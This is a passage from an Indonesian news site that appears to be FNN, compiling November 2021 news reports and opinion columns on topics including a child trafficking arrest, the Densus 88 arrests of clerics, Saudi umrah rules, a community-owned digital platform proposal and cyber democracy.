jaman sekarang. Mau bikin proyek ini dan itu lebih dulu dongeng yang dikencang-kencangi. Pas proyek jadi, memblé wa katsir masa'il, dan banyak masalah. Ini behaviour gédé bacot. Gédè bacot népa', menular, vertical dan horizontal. Kembali ke Belitung, dari banyaknya temuan di Belitung yang belum diidentifikasi, dapat disimpulkan Belitung, dengan posisinya yang strategis, adalah labuhan singgahan, terutama di era Islam. *) Budayawan

Saatnya Kita Mandiri dengan Platform Digital Model Sendiri (3)

Oleh: Agus M Maksum PRINSIP utamanya adalah aplikasi harus dimiliki oleh komunitas, bukan komunitas diakuisisi user dan potensinya oleh pembuat aplikasi. Al Quran Surat Al Hasyr 59 : 7 memberikan perintah dengan tegas: Agar Ekonomi diatur Supaya Harta/Aset tidak berputar di miliki oleh orang-orang kaya saja. Inilah prinsip utama model Bisnis Syariah yang akan kita jadikan pijakan yakni Distribusi Modal/Aset dan Sharing Ekonomi, Model Bisnis ini juga implementasi dari Prinsip Ekonomi Konstitusi Dalam pasal 33 tercantum dasar demokrasi ekonomi, produksi dikerjakan oleh semua, untuk semua di bawah pimpinan atau kepemilikan anggauta-anggauta masyarakat. Kemakmuran masyarakatlah yang diutamakan, bukan kemakmuran orang-seorang. Sebab itu perekonomian disusun sebagai usaha bersama berdasar atas usaha kekeluargaan. Bangun perusahaan yang sesuai dengan itu ialah koperasi. Perekonomian berdasar atas demokrasi ekonomi, kemakmuran bagi segala orang. Sebab itu monopoli dagang korporat asing harus di imbangi oleh kesadaran community yg di dorong oleh pemimpin lokal yg punya visi yang kuat, cabang-cabang produksi yang penting bagi Negara dan yang menguasai hajat hidup orang banyak harus dikuasai secara bersama. Kalau tidak, maka tampuk produksi jatuh ke tangan orang seorang bisa juga berbentuk korporat asing yg powerful modal dan berkuasa dan rakyat yang banyak akan ditindasnya. Platform digital 4.0 berbasis Ekonomi Untuk kesejahteraan bersama. Distribusi artinya kepemilikan Alat-alat produksi berupa Platform Digital/ Aplikasi harus terdistribusi pada stake holder umat, bukan terpusat pada para pemilik modal atau pemilik aplikasi, di sini harus di pikirkan adanya alat-alat produksi bisa di miliki secara bersama oleh stake holder umat, dan alat produksi tersebut bisa di gunakan oleh stake holder umat secara murah terjangkau. Sharing Ekonomi artinya profit yang dihasilkan dari putaran ekonomi terbagi kepada umat juga, tidak mengalir terpusat pada pemilik modal yang memiliki dan menguasai alat-alat produksi. Siapakah stake holder umat yang secara bersama-sama akan memiliki aset berupa alat produksi dalam hal ini Platform Digital/Aplikasi tersebut. Stake Holder yang dimaksud dalam kajian dan diskusi di Musyawarah Ulama dan Tokoh Umat (MUTU) di Bandung adalah Komunitas. Mengapa Komunitas, ya karena komunitas ini adalah modal sosial kita, umat yang besar ini akan sulit dikonsolidasi karena tidak adanya leader yang bisa mengkomando umat secara nasional. Oleh karena itu untuk mengkonsolidasi harus dicari unit terkecil umat, di mana di sana ada leader yang bisa mengomando, menggerakkan dan mengkonsolidasi umat, di sinilah setiap komunitas pasti ada leader-nya masing-masing. Misalnya, sekolah Islam Kepala Sekolah adalah leader, Pondok Pesantren Kyai adalah leader-nya, Masjid ada takmir, khotib dan penceramah kajan rutin sebagai leader penggerak komunitas. Sekarang marilah kita pikirkan Model menurut Ekonomi Pancasila dan Model Bisnis syariahnya, bagaimana agar setiap komunitas bisa memiliki alat produksi berupa Platform Teknologi Digital untuk komunitasnya secara murah terjangkau atau bahkan gratis. Kemudian, putaran ekonomi dalam komunitas akan menghasilkan sharing ekonomi berupa akses pasar dan modal serta profit sharing lainnya pada semua stake holder yang terlibat. Sebelum kita masuk pada Platform aplikasi digitalnya marilah kita buat gambaran konsepnya dulu. Dari Gambaran ini sudah terlihat bahwa tidak terjadi pemusatan putaran ekonomi pada para pemilik modal. Konkretnya bagaimana? Untuk bisa menghasilkan alat produksi, dalam konteks Ekonomi digital di perlukan Platform Digital yang canggih dan terus update teknologinya, dan untuk ini kita harus memiliki Pusat Pengembangan Teknologi Digital milik umat, seperti Silicon Valley. Sebab bila setiap komunitas/stake holder harus membuat sendiri biayanya akan mahal bisa puluhan sampai ratusan milyar bisa tidak terjangkau, serta platform digital juga harus memiliki tenaga IT Programmer/Developer sendiri tidak boleh hanya membayar programmer lepasan akan sangat mahal dan tidak aman. Jadi, Pusat Pengembangan Teknologi Umat akan merekrut anak-anak terbaik di bidang IT untuk mengembangkan Platform Digital untuk umat. Lalu Platform Digital bisa dipakai oleh masing-masing stake holder/ komunitas secara murah terjangkau bahkan kalau mungkin gratis antar komunitas. Bila semua stake holder memakai platform digital yang sama maka nantinya akan memudahkan integrasi untuk sinergi antar komunitas, karena platform-nya sama. Lebih konkret lagi bagaimana? Lebih konkret lagi Pokja Ekonomi MUTU telah membuat cikal bakal pusat pengembangan Teknologi umat tersebut dan telah menghasilkan sebuah Platform Teknologi Digital untuk bisa dipakai oleh masing-masing stake holder/komunitas untuk melakukan konsolidasi Uang dan Pasar di masing-masing komunitas. Platform dan Pusat Pengembangan Teknologi umat tersebut harus tidak boleh di miliki oleh segelintir orang, agar tidak terjadi pemusatan ekonomi, juga agar platform tersebut di miliki bersama oleh umat dari berbagai unsur dan latar belakang, sehingga nantinya tidak ada pertanyaan Platform/Aplikasi ini milik siapa? Jawabnya jelas milik umat milik bersama. Lalu Plaform dipakai secara bersama pada semua stake holder/komunitas untuk konsolidasi uang dan pasar di masing-masing komunitas. (Bersambung) Penulis Adalah Pokja Ekonomi MUTU

Polres Bukittinggi Ungkap Kasus Perdagangan Anak Di Bawah Umur

Bukittinggi, FNN - Unit III Perlindungan Perempuan dan Anak (PPA) Satreskrim Polres Bukittinggi, Sumatera Barat, mengungkap kasus perdagangan orang yang melibatkan seorang anak di bawah umur sebagai korban. Dalam pengungkapan kasus ini, seorang yang diduga sebagai pelaku diamankan dalam operasi yang dipimpin Kanit PPA Ipda Tiara Nur Raudah. Kasat Reskrim Polres Bukittinggi AKP Allan Budikusumah di Bukittinggi, Ahad, 21 November 2021, mengatakan penangkapan terduga pelaku tindak pidana perdagangan orang dilakukan di sebuah kamar hotel di Bukittinggi. "Penangkapan diduga pelaku beserta korban dilakukan pada Jumat, 19 November 2021 sekitar pukul 23.45 WIB bertempat di salah satu kamar hotel di Bukittinggi, turut disita barang bukti," kata Allan, sebagaimana dikutip dari Antara. Ia menjelaskan kronologis pengungkapan kasus serta penangkapan pelaku didapat setelah ada informasi dari masyarakat yang dikembangkan dan dilakukan penyelidikan sehingga bisa dilakukan penangkapan. "Mendapati informasi tersebut, personel Unit III PPA bersama Opsnal Sat Reskrim melakukan penyelidikan dan mematangkan informasi tersebut hingga akhirnya menangkap terduga pelaku dugaan tindak pidana perdagangan orang di salah satu kamar hotel," katanya. Ia mengatakan dalam proses penangkapan tersebut ikut diamankan korban dengan barang bukti uang tunai sebesar Rp 800 ribu dari tangan pelaku dan Rp 400 ribu dari tangan korban. "Korban merupakan warga Kabupaten Agam berinisial AA (16), sedangkan pelaku seorang oknum mahasiswa, warga Bukittinggi inisial GA (32), kemudian pelaku dan barang bukti dibawa ke Mapolres Bukittinggi untuk proses penyidikan lebih lanjut," kata Kasatreskrim. Kasus ini kemudian dilanjutkan dengan pemeriksaan dan penyelidikan lebih jauh dengan keterlibatan pelaku dan kemungkinan adanya korban lain. Kasus Tindak Pidana Perdagangan Orang (TPPO) menurut catatan Kementerian Pemberdayaan Perempuan dan Perlindungan Anak (KPPPA) meningkat saat pandemi Covid-19 dari 213 kasus (2019) menjadi 400 kasus (2020). Data yang dicatat International Organization for Migration (IOM) di Indonesia juga menyoroti meningkatnya jumlah korban perdagangan anak pada tahun 2020 dengan 80 persen di antaranya dieksploitasi secara seksual. (MD).

Warga Palestina Ditembak Mati Polisi Israel

Yerusalem, FNN - Seorang pria bersenjata Palestina ditembak mati oleh polisi Israel usai menewaskan satu orang dan melukai tiga lainnya di Kota Tua, Yerusalem, kata juru bicara kepolisian. Insiden kedua dalam empat hari di Yerusalem itu terjadi di dekat salah satu pintu gerbang menuju kompleks Masjid Al-Aqsa, situs tersuci ketiga bagi umat Muslim. Kaum Yahudi menghormati situs tersebut sebagai peninggalan dua kuil kuno. Juru bicara kepolisian menggambarkan pria tersebut sebagai warga Yerusalem Timur. Menurutnya, pria itu membawa senapan mesin ringan. Dikutip dari Antara, Ahad, 21 November 2021, dua dari mereka yang ditembak adalah warga sipil, yang salah satunya meninggal, katanya, menambahkan bahwa dua korban luka lainnya adalah polisi. Israel merebut Kota Tua dan sejumlah wilayah lainnya di Yerusalem Timur pada perang Timur Tengah 1967 dan mendudukinya, sebuah tindakan yang tidak pernah mendapat pengakuan internasional. Rakyat Palestina menghendaki Yerusalem Timur sebagai ibu kota negara mereka di masa depan. Israel mengklaim seluruh kota tersebut sebagai ibu kota abadi mereka yang tak terbagi. (MD).

Guru Besar UI Harap Alih Status Pegawai KPK Ke Polri Sesuai Undang-Undang

Jakarta, FNN - Guru Besar Universitas Indonesia (UI) Hamdi Muluk berharap alih status sebanyak 57 mantan pegawai Komisi Pemberantasan Korupsi (KPK) menjadi aparatur sipil negara (ASN) di Polri sesuai undang-undang (UU). “kita harus berpatokan UU. Tidak masalah Kapolri menampung mereka, tetapi sesuai UU,” kata Hamdi dalam keterangan tertulis di Jakarta, Ahad, 21 November 2021. Hamdi menegaskan jika benar Kapolri menawarkan mereka untuk menjadi ASN di Polri, terlebih tidak melalui serangkaian tes ulang, maka Kapolri telah bersikap kontradiktif. “kalau jadi ASN agak kontradiktif, masa dua institusi punya standar yang enggak sama. Di KPK tidak memenuhi syarat, di Polri bisa,” jelas Hamdi, sebagaimana dikutip dari Antara. Hamdi mengecualikan jika pekerjaan yang ditawarkan Kapolri kepada mantan pegawai KPK itu berbeda dengan pekerjaan sebelumnya dan bukan menjadi ASN atau hanya sebatas pegawai kontrak saja. Namun, jika ternyata akan dijadikan ASN, Hamdi menegaskan mereka harus tetap mengikuti serangkaian tes yang telah dipersyaratkan oleh aturan perundang-undangan, dalam hal ini UU ASN. “Jadi kalau deskripsi dan kualifikasi yang di Polri dirumus ulang, konsekuensinya tes dibikin beda lagi dengan yang di KPK kemarin. Jadi BKN (Badan Kepegawaian Negara) dan Kemenpan RB bisa menyatakan bahwa mereka memenuhi syarat (MS) untuk bekerja di Polri,” saran Hamdi. (MD).

Breaking News! Arab Saudi Umumkan Aturan Baru Umrah, Hanya Izinkan Jemaah Usia 18-50 Tahun dan Sudah Vaksin

Jakarta, FNN – Pemerintah Arab Saudi, melalui Kementerian Haji dan Umrah setempat, telah merilis aturan terbaru untuk jemaah umrah dari luar negeri. Melansir Hajinews.id dari Gulf Today, Sabtu (20/11/2021), ketentuan usia dan status vaksinasi Covid-19 menjadi syarat utama bagi calon jemaah umrah saat ini. Peraturan tersebut menyebutkan, calon jemaah umrah dari luar negeri setidaknya berusia 18 tahun dan tak boleh lebih dari 50 tahun. Lebih lanjut, jika sudah memenuhi aturan tersebut, para calon jemaah pun harus sudah menerima vaksin Covid-19 secara lengkap dua dosis. Namun, perlu diingat kembali bahwa syarat vaksinasi yang dimaksud adalah yang hanya menggunakan vaksin Covid-19 yang diakui oleh Kerajaan Arab Saudi. Selain itu, para jemaah internasional juga diimbau untuk mengecek statusnya di biro travel dan umrah resmi terkait pemesanan tiket sebelum melakukan perjalanan. Kementerian Haji dan Umrah Arab Saudi menjelaskan, jika seseorang ingin mendapatkan visa umrah dari luar Arab Saudi, maka perlu dikomunikasikan dengan biro travel dan umrah resmi tersebut. Belakangan ini, Pemerintah Arab Saudi juga baru saja meluncurkan dua aplikasi, Eatmarna dan Tawakkalna, untuk para jemaah dari luar negeri yang ingin mengajukan ibadah umrah. Sejauh ini, Arab Saudi hanya mengizinkan umrah dan salat di Masjidil Haram dan Masjid Nabawi bagi jemaah yang sudah divaksinasi. Sebelumnya, pada 17 Oktober 2021, Kerajaan Arab Saudi mulai membuka Masjidil Haram untuk para jemaah dengan kapasitas penuh. Para petugas juga telah melepaskan stiker-stiker jaga jarak di sekitar Masjidil Haram sebagaimana dilansir The National. Meski begitu, para jemaah tetap diwajibkan memakai masker dan menggunakan aplikasi Tawakkalna untuk memverifikasi status vaksinasi mereka sebelum memasuki Masjidil Haram. (sws)

Anak Dr Zain an Najah,"Saya Takut Bapak Saya Meninggal Seperti Suyono"

Oleh: Nuim Hidayat Beberapa hari lalu saya menemui anak Dr Zain an Najah di suatu tempat. Anak ini menangis. Saya tanya kenapa menangis,"Saya takut bapak saya seperti Suyono. Ditangkap polisi kemudian meninggal." Saya kaget. Dalam batin saya, pintar anak ini ingatannya tajam. Kemudian saya katakan,"Jangan takut insya Allah bapak kamu nggak apa-apa. Polisi nggak akan berani macam-macam. Banyak yang mengawasi, ustadz-ustadz, masyarakat, media dan lain-lain. Saya kenal bapakmu kok. Ia orang baik. Para pahlawan itu banyak yang dipenjara. Bapakmu hebat. Pak Natsir, Buya Hamka dan lain-lain itu pernah dipenjara. Jangan minder, justru kamu harus bangga.Jadi tetaplah belajar yang rajin. Bapak kamu ingin lihat kamu rajin dan terus semangat belajar." Saya memang tidak mengenal akrab Dr Zain an Najah. Tapi saya pernah satu grup di wa dengannya dan puluhan ustadz lainnya. Hampir akhir di grup wa itu saya ingat Dr Zain membagi tulisan di detik.com tentang Nasaruddin Umar yang meraih rekor MURI sebagai penulis kolom terbanyak. Ia menulis,"Dalam 5 tahun menulis 6000 artikel secara konsisten. Setiap hari menulis 12 halaman, dari jam 2-6 pagi.". Ia kemudian menyemangati para da'i di grup itu agar menulis. Saya ketemu Dr Zain beberapa kali dan saya lihat, selain orangnya cerdas juga ramah. Sehingga dia mengajar di banyak tempat. Di kantor-kantor, perumahan, masjid dan lain-lain. Saya pernah diberi buku Membangun Negara dengan Tauhid. Buku ini saya lihat bagus isinya. Penuh dengan ayat Al Qur'an, Hadits dan pendapat para ulama. Apakah dengan buku ini Dr Zain ingin seperti Kartosuwiryo mendirikan Darul Islam di Indonesia? Tidak. Dr Zain setahu saya mengidolakan Partai Masyumi. Ia ingin memperjuangkan Islam menjadi nilai bangsa ini dengan cara konstitusional (dengan dakwah dan parlementer). Dr Zain juga kritis kepada ulama lain yang pendapatnya menyimpang. Lulusan doktor dari Al Azhar Kairo ini berani menerbitkan buku mengkritik pendapat Dr Quraisy Syihab tentang jilbab. Ia menyatakan bahwa jilbab hukumnya wajib, bukan mubah/sunnah seperti pendapat Quraisy Syihab. Ia menguraikan dengan bagus dalil-dalil Al Qur'an, Hadits dan pendapat para ulama Islam yang terkemuka (muktabar). Bagaimana dengan Ustadz Farid Okbah? Ia memang seorang da'i dengan orasi yang bagus. Saya juga satu grup wa dengannya dan puluhan da'i lainnya. Saya beberapa kali berbincang dengannya. Orangnya ramah dan tidak suka menghina orang. Pernah suatu kali ia memprotes tulisan saya Mengapa Partai Islam Mudah Pecah?. Saya dianggap outsider oleh dia. Saya katakan bahwa saya telah berbincang lama dengan KH Kholil Ridwan tentang Partai Dakwah Rakyat Indonesia, jadi saya tahu sejarahnya. Kemudian ia menjelaskan perpecahan yang terjadi pada awal pembentukan partai itu. PDRI memang ingin menjadi Partai Islam Masyumi yang dalam sejarahnya disegani oleh kawan atau lawan. Kyai Kholil Ridwan adalah salah satu tokoh penggagasnya. Kyai Kholil adalah pengagum Mohammad Natsir, tokoh Masyumi. Dalam perbincangan di wa itu, ustadz Farid kemudian menawari saya sesuatu. Tapi saya mendiamkannya (off the record). Saya tidak cerita kepada Farid bahwa tulisan saya mendapat pujian dari seorang profesor. Memang saya tahu Ustadz Farid ini dikenal anti Syiah. Ia punya pengalaman buruk dengan orang-orang Syiah di Indonesia, sehingga ini terbawa dalam gaya dakwahnya dalam menghantam Syiah. Tapi setahu saya ia hanya menyerukan waspada terhadap Syiah, tidak menyuruh pembunuhan kepada orang-orang Syiah. Memang sikap Muslim yang beraliran Sunni berbeda-beda kepada Syiah. Tergantung pada bacaan dan pengalaman hidupnya. Di grup wa itu, Ustadz Farid juga aktif membagi ceramah dan sosialisasi PDRI di berbagai daerah. PDRI memang ingin menjadi partai resmi dengan mendaftar ke Menkumham. Tentu, sebelum menjadi partai resmi, ia harus sosialisasi dan mendirikan cabangnya di berbagai provinsi dan kabupaten dulu. Dengan Dr Anung Al Hamad, saya tidak begitu mengenal. Saya ketemu beberapa kali, tapi tidak pernah ngobrol lama. Di grup wa, ia juga jarang berkomentar. Ia memang mengagumi Abdullah Azzam, terutama buku Tarbiyah Jihadiyahnya. Seperti diketahui, Abdullah Azzam adalah guru para mujahid di Afghanistan. Azzam, adalah seorang ulama yang alim dan semangat jihadnya tinggi melawan penjajah Afghanistan. Yang saya sedih, banyak orang tidak faham Pesantren Ngruki dan alumni Afghanistan. Wartawan-wartawan yang malas baca, bila nulis alumni Ngruki dan alumni Afghanistan langsung diopinikan jelek. Begitu juga polisi atau masyarakat yang awam terhadap dunia pesantren dan dunia Islam yang terjajah. Alumni Ngruki macam-macam. Ada yang menjadi wartawan, ada yang menjadi pengusaha, ada yang menjadi da'i dan ada yang menjadi 'terduga teroris.' Dr Zain an Najah yang merupakan alumni Ngruki, saya sedih ia dianggap terduga teroris. Netizen, bahkan di MUI sendiri ada yang mencap dia teroris karena ditangkap Densus. Mereka menganggap teroris menyusup ke ormas-ormas Islam. Sebuah tuduhan yang keji. Dr Zain itu seorang intelektual Islam yang ikhlash ingin menyumbangkan ilmunya untuk membangun masyarakat dan negara berdasarkan ilmu yang diperolehnya Begitulah orang yang tidak mengenal dengan baik seseorang. Seringkali prasangka buruk ia dulukan. Padahal sebagai Muslim, ia harus mendulukan prasangka baik. Apalagi ia seorang guru Islam yang cerdas dan selama ini diketahui mengajar dimana-mana. Begitu juga ustadz Farid Okbah. Banyak wartawan yang awam terhadap Keislaman, nulis ngawur. Mengopinikan bahwa Farid adalah mentor yang pintar berkamuflase dan lain-lain. Wartawan malas untuk mengambil opini dari sumber selain polri. Padahal prinsip wartawan harusnya cover both side. Ada juga sih wartawan yang mencoba berimbang, tapi jumlahnya saya lihat sedikit. Alumni Afghanistan itu bermacam-macam profesinya setelah kembali di tanah air. Ada yang jadi guru/ustadz, penulis, mendirikan pesantren dan ada pula memang yang pingin mengebom musuh di tanah air. Orang-orang teralhir seperti ini biasanya pengalaman, pergaulan dan bacaannya tidak luas. Saya lihat ustadz Farid itu mempunyai bacaan dan pergaulan yang luas. Sehingga ia mampu mendirikan Pesantren Al Islam di Bekasi. Ia mempunyai kemampuan yang bagus sebagai guru, sehingga bisa memberikan nasihat mulai dari tukang becak sampai presiden. Bagaimana dengan Dr Anung Al Hamad? Ia juga seorang guru atau dosen. Ia mengajar di berbagai tempat. Kekagumannya terhadap Abdullah Azzam dalam Tarbiyah Jihadiyah tidak menjadikannya melakukan aksi-aksi pengeboman di tanah air. Kekagumannya, karena melihat sosok laki-laki yang berani melawan penindasan Soviet di Afghanistan. Muslim yang baik dimanapun akan mempunyai semangat melawan kezaliman atau penindasan. Karena itu jelas diperintahkan Al Qur'an dan Hadits. Abdullah Azzam adakah gurunya mujahid Afghanistan. Ia adalah pengagum Sayid Qutb. Azzam dengan anaknya akhirnya syahid di dalam mobil yang ternyata telah ditaruh bom sebelumnya. Itulah sekelumit kisah tentang tiga da'i yang ditangkap itu. Saya hanya berdoa semoga pimpinan Polri dibukakan pintu hatinya oleh Allah. Sehingga bisa melihat yang putih adalah putih dan yang hitam adalah hitam. Tidak melihat putih dengan kesimpulan hitam karena lupa menaruh kacamata. Semua kejadian ada hikmahnya. Dan semoga kita semua bisa mengambil pelajaran dari kejadian yang menggoncang umat Islam di tanah air ini. Kata Al Qur'an,"Mereka buat rekayasa. Allah buat rekayasa. Dan Allah lah sebaik-baik pembuat rekayasa." Allah Maha Perkasa, Allah Maha Bijaksana. Wallahu azizun hakim. Nuim Hidayat, Penulis Buku Sayid Qutb dan Kejernihan Pemikirannya

Petugas LP Singaraja-Bali Gagalkan Upaya Bunuh Diri Seorang Napi

Buleleng, FNN - Lembaga Pemasyarakatan (Lapas) Kelas IIB Singaraja, Bali mengagalkan upaya bunuh diri yang dilakukan oleh seorang narapidana berinisial S dengan cara meminum detergen. "Warga binaan ini diketahui melakukan upaya bunuh diri dengan meminum detergen, syukurnya bisa digagalkan oleh petugas. Saat ini yang bersangkutan sudah tidak dirawat dan bisa langsung balik ke dalam lapas," kata dalam keterangan pers di Denpasar, Bali, Minggu. Ia mengatakan upaya bunuh diri dilakukan napi tersebut diduga karena ada masalah pribadi yang sedang dialaminya. "Jadi tidak ada masalahnya yang berkaitan dengan lapas, maupun bentrok sesama WBP (wardga binaan pemasyarakatan), tetapi diduga masalah pribadi yang bersangkutan ini," katanya. Jamaruli mengatakan bahwa saat ini pihak Lapas Kelas IIB Singaraja masih mendalami penyebab dari upaya bunuh diri yang dilakukan oleh seorang WBP tersebut. Selain itu, juga memeriksa saksi-saksi terkait yang berada di lokasi kejadian. Sebelumnya pada Sabtu (20/11) sekitar pukul 21 Wita, pada saat kejadian, seorang WBP mendapati seorang warga binaan berinisial S melakukan upaya bunuh diri. Warga binaan lain yang mengetahui hal tersebut langsung membunyikan alarm yang tersambung ke Pos Komandan Jaga. Lalu bersama dengan Petugas Blok, Perwira Piket dan Kepala Lapas Kelas IIB Singaraja Mut Zaini yang pada saat kejadian sedang melalukan kontrol ke dalam blok segera menghubungi petugas kesehatan yang kemudian diarahkan langsung menuju ke RS. Kepala Lapas Kelas IIB Singaraja Mut Zaini menambahkan kalau WBP tersebut tersebut tidak pernah memiliki masalah ataupun pelanggaran di dalam lapas. Dikatakannya, dugaan sementara WBP meminum cairan detergen tersebut dikarenakan adanya masalah pribadi yang tidak ada kaitannya dengan lapas. "Langkah cepat sudah kami ambil dengan langsung membawa warga binaan tersebut ke rumah sakit guna mendapati perawatan lebih lanjut. Kami harap kejadian ini tidak terulang kembali," tegas Zaini selalu Kalapas IIB Singaraja. Sementara itu, Kadiv Pemasyarakatan Kanwil Bali Suprapto mengatakan akan melakukan pengawasan, dan patroli secara ketat agar kejadian tersebut tidak terulang lagi. "Pengawasan jadi lebih ketat dan rutin, dengan melibatkan seluruh petugas kesehatan, petugas penjagaan dengan pengecekan rutin dan seluruh WBP yang ada dalam satu kamar," katanya. Selain itu, segera memindahkan dan menjauhkan berbagai barang-barang yang dapat disalahgunakan untuk melakukan percobaan bunuh diri, seperti detergen, cairan pembersih lantai hingga cairan hand sanitizer. (mth)

Lagu Indonesia Raya Berkumandang di Sirkuit Mandalika

Lombok Tengah, FNN - Lagu Indonesia Raya berkumandang di seri terakhir ajang balap motor World Superbike (WSBK) di Sirkuit Mandalika, Kabupaten Lombok Tengah, Nusa Tenggara Barat, Minggu. Ribuan penonton yang memadati tribun Sirkuit Mandalika, dengan dipandu suara yang keluar dari race control, secara serempak berdiri sambil menyanyikan lagu Indonesia Raya secara bersama-sama. Sejumlah penonton yang berada di tribun mengaku merinding sekaligus terharu lagu Indonesia Raya bisa menggema di area sirkuit yang memiliki nama resmi Pertamina Mandalika International Street Circuit itu. "Merinding dengarnya sekaligus bangga," ujar Satria, salah satu penonton yang hadir di area tribun penonton, di Sirkuit Mandalika, Kabupaten Lombok Tengah, Nusa Tenggara Barat, Minggu. Lagu Indonesia Raya berkumandang saat sejumlah pembalap dan kru WSBK tengah melakukan persiapan di garis start untuk race kedua, dan saat itu area sirkuit dengan panjang lintasan 4,3 kilometer dan 17 tikungan tersebut sedang diguyur hujan. Sebelumnya, Badan Anti-doping Dunia (WADA) menjatuhkan sanksi kepada Indonesia. Salah satunya, yaitu tidak boleh memperdengarkan atau menyanyikan lagu kebangsaan. Namun, hal itu tidak berlaku untuk balapan di Sirkuit Mandalika karena kontrak kerja sama penyelenggaraan balapan di Sirkuit Mandalika ditandangani pada 2019, sementara sanksi WADA jatuh pada 2021. (mth)

ISESS Sebut Demokrasi Siber Membutuhkan Peran Negara sebagai Regulator

Jakarta, FNN - Co-Founder Institute for Security and Strategic Studies (ISESS) Khairul Fahmi mengatakan bahwa demokrasi siber membutuhkan peran negara sebagai regulator untuk mencegah kebebasan yang anarkis. “Tanpa regulator yang baik, ruang siber justru akan menjadi ajal bagi demokrasi,” kata Khairul Fahmi ketika memberi paparan dalam talkshow nasional bertajuk “Polemik Freedom of Speech Sebagai Penerapan Cyber Democracy di Indonesia" yang disiarkan di kanal YouTube Hima Ilmu Politik Unair, dipantau dari Jakarta, Minggu. Berdasarkan pengamatan Khairul pada berbagai tahapan Pemilu 2019, dunia maya atau ruang siber telah menjadi arena politik kebencian dan polarisasi bagi masing-masing pendukung pasangan calon presiden dan calon wakil presiden. Ruang siber yang penuh akan konten-konten bernuansa negatif dan polarisasi diakibatkan oleh orang-orang yang merasa bebas dalam mengatakan apa pun, termasuk ujaran kebencian, di balik anonimitas. “Seolah-olah ruang digital ini menjadi arena anarki. Anonimitas itu, ya, bisa membuat kebebasan berpendapat menjadi tidak bertanggungjawab,” ucap dia. Padahal, menurut Khairul, seseorang dapat menggunakan ruang siber untuk menjadi wadah berpendapat dan beropini secara bertanggung jawab dan tidak dibatasi oleh waktu. Selain itu, ruang siber juga memiliki potensi untuk membantu masyarakat dalam menemukan orientasi politik mereka, membangun opini, juga mengadakan kegiatan-kegiatan yang bersifat pendidikan politik. “Kalau menggunakan ini sebagai sarana menemukan orientasi politiknya, ya oke, karena menggunakan kebebasan secara bertanggung jawab,” ujarnya. Oleh karena itu, Khairul menekankan pentingnya pemerintah menjalankan peran sebagai regulator yang baik guna mencegah ruang digital menjadi arena anarki. Adapun ciri dari regulator yang baik adalah mampu memfasilitasi ruang-ruang kebebasan berpendapat, mampu memberikan definisi yang jelas atas apa yang disebut sebagai kebaikan bersama, serta mengetahui batasan intervensi yang dilakukan. “Kita tidak boleh menganggap bahwa peran negara sebagai regulator itu tidak lagi relevan di masa depan,” kata Khairul. (mth)

Tuduh MUI dan Anies Teroris, Anda Waras?

Oleh Tony Rosyid USTADZ Farid Okbah dkk ditangkap Densus 88. Ditetapkan jadi tersangka teroris. Sabar! Tahan nafas! Jangan buru-buru berkomentar! Densus 88 tentu punya alasan untuk menangkap, publik juga punya alasan untuk menilai. Tapi, tunggu! Masyarakat mesti melihat proses hukum. Kita berharap, dalam proses hukum nanti, semuanya bisa jelas dan terang benderang. Kita berharap, semuanya akan terklarifikasi. Satu peristiwa, seribu opini. Di era medsos, teori ini yang berlaku. Yang ditangkap Ustaz Farid Okbah dkk, yang dituduh MUI dan Anies Baswedan. Apa hubungannya? Ya gak ada. Muncul framming di medsos: MUI harus dibubarkan. Karena MUI memelihara teroris. Begitu juga dengan Anies, kata pihak (semua orang tahu pihak mana), Anies didukung oleh teroris. Alasannya, Anies "pernah berfoto" bersama orang yang dituduh teroris. Hahahahaha.... Kejauhan kang analisisnya. Gak usah pakai otak cerdas, orang awam paham: ini framming. Tetanggamu "dituduh mencuri". Belum juga dibuktikan di pengadilan, kau yang gak tahu apa-apa, malah dituduh perampok. Kenapa? Karena si "tertuduh pencuri" itu adalah tetanggamu, dan rumahmu lebih besar dari "tertuduh pencuri" itu. Berarti anda bukan hanya pencuri, tapi perampok. Ini kan logika nguwur. Nah, yang seperti ini, jika terus menerus dibiarkan, akan merusak logika berpikir bangsa. Beredar berita di media, Ustaz Farid Okbah bertemu Presiden Jokowi di istana. Bahkan dari ceramahnya yang viral dalam bentuk video, Ustaz Farid Okbah, sesuai pengakuannya, telah memberi lima nasihat kepada presiden Jokowi. Usamah Hisyam, ketua Umun Parmusi yang juga dekat dengan istana, mengaku sebagai pihak yang membawa Ustaz Farid Okbah ke Presiden Jokowi. Dan memang, Ustaz Farid Okbah adalah kader Parmusi. Sampai di sini, tak ada yang salah. Dan gak logis jika ada yang mempermasalahkan. Bukankah silaturahmi itu baik, dan menjadi budaya bangsa yang terus kita warisi dan pelihara? Kita tularkan ke anak cucu sebagai kearifan bangsa. Selain bertemu presiden di istana, viral juga foto Ustaz Farid Okbah dengan Jenderal Tito Karnavian. Ini juga tidak ada masalah. Hanya orang setengah waras yang mempersoalkan. Lalu, kenapa dikaitkan-kaitkan dengan MUI dan Anies Baswedan? Diframming dalam video bahwa partai PDRI disiapkan untuk mengusung Anies. Hahahah... Parto dan Cak Lontong kalah lucu dengan framming ini. PDRI, partai yang diketuai oleh Ustaz Farid Okbah, memang sudah punya legalitas dari Kemenkumham? Pertanyaan yang lebih mendasar lagi: emang sudah ngurus ijinnya di Kemenkumham? Emang ada niat untuk ikut pemilu 2024? Kalau gak ngurus ijin, gmn mau ikut pemilu dan mengusung calon? Wualaaaah.... Publik lebih melihat PDRI itu "semacam ormas" yang fokus di dunia dakwah. Sepertinya para kader sadar betul bahwa menggerakkan lokomotif partai itu butuh logistik besar. Ini yang gak mudah disiapkan oleh partai baru, termasuk PDRI. Jadi, framming ini gak cerdas. Tertolak di otak masyarakat awam. Apalagi dalam logika kaum cendekiawan. Begitu juga terkait MUI. Nyerang MUI mesti ngukur kekuatan diri. MUI itu didukung puluhan ormas Islam. NU, Muhammadiyah, Wahdah Islamiyah, Al-Wasliyah, dll. Anggota ormas-ormas inilah yang menjadi penduduk mayoritas negeri ini. Melawan MUI, sama saja melawan mayoritas bangsa ini. Blunder! Kabarnya, akan ada somasi untuk mereka yang menyerang MUI. Ini ada baiknya. Jauh lebih baik, duduk bareng, bermusyawarah, lalu membangun kesepemahaman. Inilah budaya bangsa kita. Guyup, rukun, dan semua masalah diselesaikan dengan musyawarah. Tapi, kalau ada agenda lain terkait dengan kegaduhan saat ini? Nah, ini yang jadi masalah. Kalau betul begitu, maka penyerangan kepada MUI bukan target utama, tapi hanya "semacam pengalihan belaka". Ini jadi repot. Apa penyerangan kepada Anies juga begitu? Hehehe... Anda batuk saja, bisa diframming sebagai kesalahan Anies. Apalagi lebih dari itu. Kalau soal ini, publik sudah sangat paham. *) 